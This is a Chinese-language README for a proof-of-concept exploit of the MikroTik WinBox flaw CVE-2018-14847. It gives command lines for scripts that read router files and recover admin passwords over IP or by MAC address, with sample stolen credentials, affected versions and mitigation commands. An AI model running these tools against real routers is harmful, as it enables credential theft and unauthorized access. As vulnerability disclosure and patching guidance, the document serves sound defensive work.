WinboxExploit

这是一个针对关键 WinBox 漏洞（CVE-2018-14847）的概念验证，该漏洞允许任意文件读取，从而获取明文密码。

该漏洞早已被修复，因此此项目已终止，不再提供支持或更新。您可以自行 fork 并更新。

博客文章

https://n0p.me/winbox-bug-dissection/

要求

• Python 3+

此脚本无法在 Python 2.x 或更低版本下运行。

使用方法

该脚本通过命令行中的简单参数使用。

WinBox (TCP/IP)

利用漏洞并读取密码。

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

示例：

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

即使设备没有 IP 地址，您也可以提取文件。

简单的本地连接 Mikrotik 设备发现检查。

python3 MACServerDiscover.py

示例：

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

利用漏洞并读取密码。

python3 MACServerExploit.py <MAC-ADDRESS>

示例：

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

受影响版本

从 2015-05-28 到 2018-04-20 的所有 RouterOS 版本均受此漏洞影响。

运行以下 RouterOS 版本的 Mikrotik 设备：

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

更多信息请参见：https://blog.mikrotik.com/security/winbox-vulnerability.html

缓解措施

• 将路由器升级至包含修复版本的 RouterOS。
• 禁用路由器上的 WinBox 服务。
• 您可以通过以下命令限制对 WinBox 服务的访问，仅允许特定 IP 地址：

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• 您可以使用一些过滤规则（ACL）来拒绝外部对 WinBox 服务的访问：

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• 限制对 mac-winbox 服务的访问可以通过指定允许的接口来实现：

/tool mac-server mac-winbox

版权

• 由伊朗 CERTCC（https://certcc.ir）赞助。保留所有权利。